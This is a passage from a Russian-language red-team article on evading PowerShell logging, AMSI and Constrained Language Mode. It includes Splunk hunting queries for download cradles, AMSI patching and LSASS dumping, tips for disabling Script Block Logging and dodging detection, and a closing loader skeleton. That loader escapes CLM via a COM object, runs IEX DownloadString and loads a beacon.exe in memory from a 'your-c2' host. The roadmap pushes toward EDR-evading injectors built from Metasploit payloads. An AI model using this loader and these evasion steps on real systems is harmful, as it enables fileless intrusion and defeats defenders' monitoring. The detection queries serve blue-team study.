  • Используй Invoke-Command -ScriptBlock { ... } с передачей параметров, но это тоже логируется.
  • Самый надёжный метод: исполнение без вызова IEX. Например, загрузка сборки через [Assembly]::Load и вызов EntryPoint. Это не вызывает IEX, но EventID 4104 может залогировать сам факт загрузки.
  • Ещё способ: отключить Script Block Logging через реестр (HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging), но для этого нужны права администратора. После отключения система не будет писать логи, но изменение реестра тоже может быть замечено.

5.2. Module Logging (Event ID 4103)​

Логирует, какие модули и команды загружались. Например, если ты вызвал Get-WmiObject, появится событие. Это помогает блютиму понять, какие инструменты ты используешь.

Пример: При загрузке AmsiUtils или Microsoft.Win32.UnsafeNativeMethods - тревога.

Как обойти: Модуль Microsoft.PowerShell.Utility легитимен, но если ты часто вызываешь Add-Type с P/Invoke, это будет видно. Нельзя отключить Module Logging без прав администратора.

5.3. AMSI logging (Event ID 1116 в Windows Defender)​

Когда AMSI блокирует скрипт, Defender пишет событие 1116 с указанием имени угрозы (например, Trojan:РowerShell/CobaltStrike). Это видит блютим через Microsoft 365 Defender или SIEM.

Как обойти: Успешный AMSI bypass не вызовет 1116, но сам bypass может быть записан в 4104.

5.4. Hunting queries для Splunk/ELK​

Дам несколько запросов, которые используют блютимы для охоты на PowerShell-атаки.

Обнаружение загрузки скриптов по HTTP:

Код:
index=windows EventID=4104 ScriptBlockText=*DownloadString* OR *WebClient* OR *Invoke-WebRequest*
Обнаружение попыток патча AMSI:

Код:
index=windows EventID=4104 ScriptBlockText=*VirtualProtect* AND *amsi.dll*
Обнаружение дампа LSASS через PowerShell:

Код:
index=windows EventID=4104 ScriptBlockText=*MiniDumpWriteDump* OR *comsvcs* AND *lsass*
Обнаружение WMI Persistence:

Код:
index=windows EventID=5861 OR EventID=5860
Обнаружение запуска PowerShell с параметром -Version 2:

Код:
index=windows EventID=4688 CommandLine=*powershell* *-version* *2*
Как редтимер может обойти охоту?
  • Использовать шифрование канала (HTTPS) 0 но строка DownloadString всё равно видна.
  • Внедряться в легитимные процессы (например, запустить PowerShell через Invoke-Command на удалённой машине, а оттуда уже делать свои дела).
  • Использовать альтернативные хосты, например, через System.Net.Sockets.TCPClient и слать команды напрямую, без вызова IEX.

Заключение: оставайся невидимым, но помни о цене​

PowerShell 0 это мощнейший инструмент LOTL, но в 2026 году просто так выполнить скрипт не получится. AMSI, CLM, Script Block Logging - всё это работает против нас. Но мы, редтимеры, не сдаёмся. Мы патим AmsiScanBuffer, сбегаем из CLM через COM-объекты, обфусцируем код так, что Defender плачет кровью, и оставляем персистенс через WMI, который не видно в стандартных местах.

Ни один метод не даёт 100% гарантии. На некоторых системах с включённым Device Guard и свежими подписями Defender твой AMSI bypass не пройдёт. Но цель этой статьи 0 дать тебе арсенал, который ты можешь адаптировать под конкретную цель. Тестируй на своих виртуалках, комбинируй техники, пиши свои обфускаторы.

Помни, что за каждым обнаруженным инцидентом стоит синий команда, которая тоже хочет спать спокойно. Не взламывай то, что нельзя взламывать. Используй знания для защиты.

Финальный инструмент - твой собственный скрипт-лоадер. Вот скелет, с которого можно начать:

Код:
# 1. Проверка языка
if ($ExecutionContext.SessionState.LanguageMode -eq 'ConstrainedLanguage') {
    # escape через COM
    $w = New-Object -ComObject WScript.Shell
    $w.Run("powershell -exec bypass -c `"IEX (New-Object Net.WebClient).DownloadString('http://your-c2/payload.ps1')`"",0,$true)
    exit
}
# 2. AMSI bypass через патч (или reflection)
# ... код патча
# 3. Загрузка основного пейлоада (fileless)
$bytes = (New-Object Net.WebClient).DownloadData('http://your-c2/beacon.exe')
[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, (, [string[]] ('') ))

Что делать дальше: дорожная карта для тех, кто не хочет застрять в 2019​

Если ты новичок, который прочитал эту статью и хочет стать крутым редтимером - забудь про копипасту. Я дал тебе код, но настоящая сила в понимании. Вот тебе домашнее задание:
  1. Настрой свою лабораторию. Windows 10/11, включи все защиты: Defender с последними обновлениями, AppLocker в режиме блокировки, Script Block Logging, Module Logging. Потом попробуй обойти каждый из моих примеров. У тебя не получится с первого раза - и это нормально. Найди, почему. Может быть, AMSI теперь проверяет целостность amsi.dll перед вызовом. Может быть, CLM блокирует даже COM-объекты. Исследуй.
  2. Напиши свой обфускатор. Не используй Invoke-Obfuscation. Возьми идею случайной вставки комментариев, замены вызовов на их алиасы через Get-Alias, переименования переменных в юникодные символы (да, PowerShell их поддерживает). Пойми, что обфускация - это не защита от детекции, это замедление анализа. Твоя цель - чтобы аналитик потратил час вместо минуты.
  3. Изучи C# и P/Invoke. PowerShell без .NET - это как автомобиль без колёс. Если ты не понимаешь, как работает [DllImport], как маршалинг данных, как управлять памятью через Marshal.AllocHGlobal - ты никогда не напишешь свой инжектор, который обходит EDR. Возьми любую полезную нагрузку из Metasploit, скомпилируй её в EXE, а потом перепиши на C# как вызов CreateRemoteThread через делегаты. Потом заверни это в Add-Type и запусти из PowerShell. Ты удивишься, сколько возможностей откроется.
  4. Учись читать дампы памяти и логи. Сядь с Sysinternals Process Monitor, запусти свой скрипт, посмотри, какие вызовы делает powershell.exe при загрузке amsi.dll. Изучи, как ETW-провайдер Microsoft-Windows-PowerShell генерирует события. Тогда ты поймёшь, почему некоторые обходы работают, а некоторые нет - потому что ты видишь систему на уровне ядра.
  5. Выйди за пределы PowerShell. LOTL - это не только PS. Есть WMI, есть CIM, есть DCOM, есть MSBuild, есть cscript.exe, есть mshta.exe. PowerShell часто используют как клей, но финальный пейлоад может быть на чистом C. Изучи альтернативы. Например, wmic process call create "powershell ..." может быть менее заметен, чем прямой вызов PS.
Экспериментируйте, копайте, делись находками. И помните: Get-Help - твой друг, а Invoke-Expression - твой враг, если не знаешь, что внутри.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab